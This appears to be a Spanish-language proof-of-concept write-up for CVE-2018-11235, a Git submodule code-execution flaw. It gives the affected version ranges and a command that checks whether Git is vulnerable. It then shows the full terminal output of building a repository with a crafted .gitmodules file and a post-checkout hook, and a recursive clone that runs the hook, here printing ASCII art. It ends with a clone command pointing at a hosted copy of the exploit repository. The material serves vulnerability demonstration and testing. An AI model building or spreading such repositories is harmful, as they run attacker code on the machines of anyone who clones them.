
CVE-2018-11235(PoC && Exp)
Versión 2.13.x, si es menor a 2.13.7, la vulnerabilidad existe
Versión 2.14.x, si es menor a 2.14.4, la vulnerabilidad existe
Versión 2.15.x, si es menor a 2.15.2, la vulnerabilidad existe
Versión 2.16.x, si es menor a 2.16.4, la vulnerabilidad existe
Versión 2.17.x, si es menor a 2.17.1, la vulnerabilidad existe
mkdir tmp && cd tmp
git init test && cd test && git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules
Initialized empty Git repository in /tmp/test/.git/, indica que la vulnerabilidad existeInitialized empty Git repository in /tmp/test/.git/
error: Invalid path '.gitmodules'
fatal: git update-index: --cacheinfo cannot add .gitmodules
build.sh para construir este proyecto localmente con fines de aprendizaje y prueba.git-2.12.1.[anonymking@localhost test]$ ./build.sh
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule/.git/
[master (root-commit) 9bb1fad] submodule
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/payload'...
done.
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/Submodule'...
done.
[master (root-commit) fcbf40f] CVE-2018-11235
29 files changed, 560 insertions(+)
create mode 100644 .gitmodules
create mode 160000 Submodule
create mode 100644 modules/1/2/3/4/payload/HEAD
create mode 100644 modules/1/2/3/4/payload/config
create mode 100644 modules/1/2/3/4/payload/description
create mode 100755 modules/1/2/3/4/payload/hooks/applypatch-msg.sample
create mode 100755 modules/1/2/3/4/payload/hooks/commit-msg.sample
create mode 100755 modules/1/2/3/4/payload/hooks/post-checkout
create mode 100755 modules/1/2/3/4/payload/hooks/post-update.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-applypatch.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-commit.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-push.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-rebase.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-receive.sample
create mode 100755 modules/1/2/3/4/payload/hooks/prepare-commit-msg.sample
create mode 100755 modules/1/2/3/4/payload/hooks/update.sample
create mode 100644 modules/1/2/3/4/payload/index
create mode 100644 modules/1/2/3/4/payload/info/exclude
create mode 100644 modules/1/2/3/4/payload/logs/HEAD
create mode 100644 modules/1/2/3/4/payload/logs/refs/heads/master
create mode 100644 modules/1/2/3/4/payload/logs/refs/remotes/origin/HEAD
create mode 100644 modules/1/2/3/4/payload/objects/0e/6d9b98b3face913a8ebf48f804d6c8fffba674
create mode 100644 modules/1/2/3/4/payload/objects/9b/b1fad6c6e16340496f2cc0fec46c8159bfc693
create mode 100644 modules/1/2/3/4/payload/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
create mode 100644 modules/1/2/3/4/payload/packed-refs
create mode 100644 modules/1/2/3/4/payload/refs/heads/master
create mode 100644 modules/1/2/3/4/payload/refs/remotes/origin/HEAD
create mode 120000 modules/payload
create mode 160000 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" des_dir
[anonymking@localhost test]$
[anonymking@localhost test]$
[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" test
Cloning into 'test'...
done.
Submodule 'Submodule' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'Submodule'
Submodule '../../modules/payload' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'payload'
Cloning into '/home/anonymking/Desktop/test/test/Submodule'...
done.
Submodule path 'Submodule': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'
*********************************************
_ooOoo_
o8888888o
88" . "88
(| -_- |)
O\ = /O
____/`---'\____
.' \\| |// `.
/ \\||| : |||// \
/ _||||| -:- |||||- \
| | \\\ - /// | |
| \_| ''\---/'' | |
\ .-\__ `-` ___/-. /
___`. .' /--.--\ `. . __
."" '< `.___\_<|>_/___.' >'"".
| | : `- \`.;`\ _ /`;.`/ - ` : | |
\ \ `-. \_ __\ /__ _/ .-` / /
======`-.____`-.___\_____/___.-`____.-'======
`=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Submodule path 'payload': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'
git clone --recursive https://git.dev.tencent.com/anonymking/CVE-2018-11235.git test